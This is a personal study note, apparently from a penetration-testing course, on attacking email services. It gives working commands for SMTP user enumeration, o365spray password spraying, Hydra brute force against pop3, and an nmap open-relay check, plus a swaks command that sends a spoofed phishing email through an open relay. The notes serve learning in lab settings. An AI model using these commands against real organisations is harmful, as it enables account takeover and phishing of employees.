---
title: "7. Attacking Email services"
date: 2024-08-22
draft: false
---

1. Pressing SEND on an email: 
	1. Program establishes connection to an SMTP `Simple Mail Transfer Protocol` server - over internet, or on network. 
2. Downloading emails to email application: 
	1. Connect to POP3 or IMAP4 server on the internet 
	2. By default pop3 clients remove downloaded messages from the email server - behavior makes it difficult to access mail on multiple devices since downloaded msgs stored locally. We can configure a pop3 client to keep copies of downloaded messages on the server. 
	3. IMAP4 clients do not remove downloaded messages from the mail server.. Behavior makes it easy to access email messages from multiple devices. 


Email servers can be complex and modern usage usually entails using Microsoft 365 or G-suite 

We can use Mail eXchanger (MX) DNS record to identify a mailserver. MX records specifies the mail server that accepts msgs on behalf of a domain name. Possible to config several MX records typically pointing to an array of mail servers for LBs / redundancy 

```bash
host -t MX hackthebox.eu
```

```bash
dig mx plaintext.do | grep "MX" | grep -v ";"
```

Host - A records
```bash
host -t A mail1.inlanefreight.htb
```

```bash
This information is essential because the enumeration methods may differ from one service to another. For example, most cloud service providers use their mail server implementation and adopt modern authentication, which opens new and unique attack vectors for each service provider. On the other hand, if the company configures the service, we could uncover bad practices and misconfigurations that allow common attacks on mail server protocols.
```

Targeting custom mailserver implementations we can enumerate the below ports: 
- tcp/25 - smtp unencrypt
- tcp/143 - imap4 unencrypted
- tcp/110 - pop3 unencrypted
- tcp/465 - smtp encrypted
- tcp/587 - smtp encrypted/starttls 
- tcp/993 - imap4 encrypted 
- tcp/995 - pop3 encrypted

```bash
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128
```

## SMTP 
enumerate valid usernames: 
`VRFY, EXPN, RCPT TO` 
```bash
telnet x.x.x.x 25

VRFY root
252 2.0.0 root 

EXPN - similar to vrfy, except when used with distribution list it will list all users on that list. bigger problem than vrfy because sites often have an alias such as 'all' 

EXPN john
250 2.1.0 john@inlanefreight.htb 
EXPN support-team
250 2.0.0 carol@...
250 2.1.5 elisa@...


RCPT TO - recipient. cmd repeated multiple times for a given msg to deliver single msg to multiple recips. 

MAIL FROM: test@htb.com 
it is
250 2.1.0 test@htb.com... Sender ok

RCPT TO: julio
RCPT TO: kate
RCPT TO: john
250 2.1.5 john ... recipient ok
```


this same shit works with USER command in pop3 not going to copypaste notes 

Automating enumeration process can be done using `smtp-user-enum` 
https://github.com/pentestmonkey/smtp-user-enum

specify enum mode with `-M` followed by VRFY, XPN, or RCPT 
`-U` = file containing list of users to enum 
depending on server configuration / enum mode - add domain for address with argument `-D` 
specify target with `-t`


# email cloud enumeration 
https://github.com/0xZDH/o365spray
```bash
python3 o365spray.py --validate --domain msplaintext.xyz
[...]
[VALID] The following domain is using o365 : [domain] 

python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
```

---
# email password bruteforce
Hydra can be used to bruteforce smtp/pop3/imap4 

```bash
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
```
If cloud services support SMTP, POP3, or IMAP4 protocols, we may be able to attempt to perform password spray using tools like `Hydra`, but these tools are usually blocked. We can instead try to use custom tools such as [o365spray](https://github.com/0xZDH/o365spray) or [MailSniper](https://github.com/dafthack/MailSniper) for Microsoft Office 365 or [CredKing](https://github.com/ustayready/CredKing) for Gmail or Okta.

```bash
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
```

---
# Open relay SMTP 
- Consists of improperly configured SMTP server configuration allowing an unauthenticated email relay. 
- Messaging servers are accidentally or intentionally configured as open relays allow mail from any source to be re-routed through the server. 
- Masks source of msgs and looks like mail originated from relay server. 

From an attacker perspective this can be abused for phishing - sending mails as non-existent users or spoofing someone elses' email. 
- Imagine open relay server and identify they use specific email to send notifs to other employees. Send similar mail w/ that addr, add phishing link. 

`nmap smtp-open-relay` script = identify if smtp port allows an open relay. 
```bash
nmap -p25 -Pn --script smtp-open-relay 10.10.11.213

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).

PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)
```


```bash
swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213
```

---
Latest email server vulnerabilities


One of the most recent publicly disclosed and dangerous [Simple Mail Transfer Protocol (SMTP)](https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol) vulnerabilities was discovered in [OpenSMTPD](https://www.opensmtpd.org/) up to version 6.6.2 service was in 2020. This vulnerability was assigned [CVE-2020-7247](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7247) and leads to RCE.

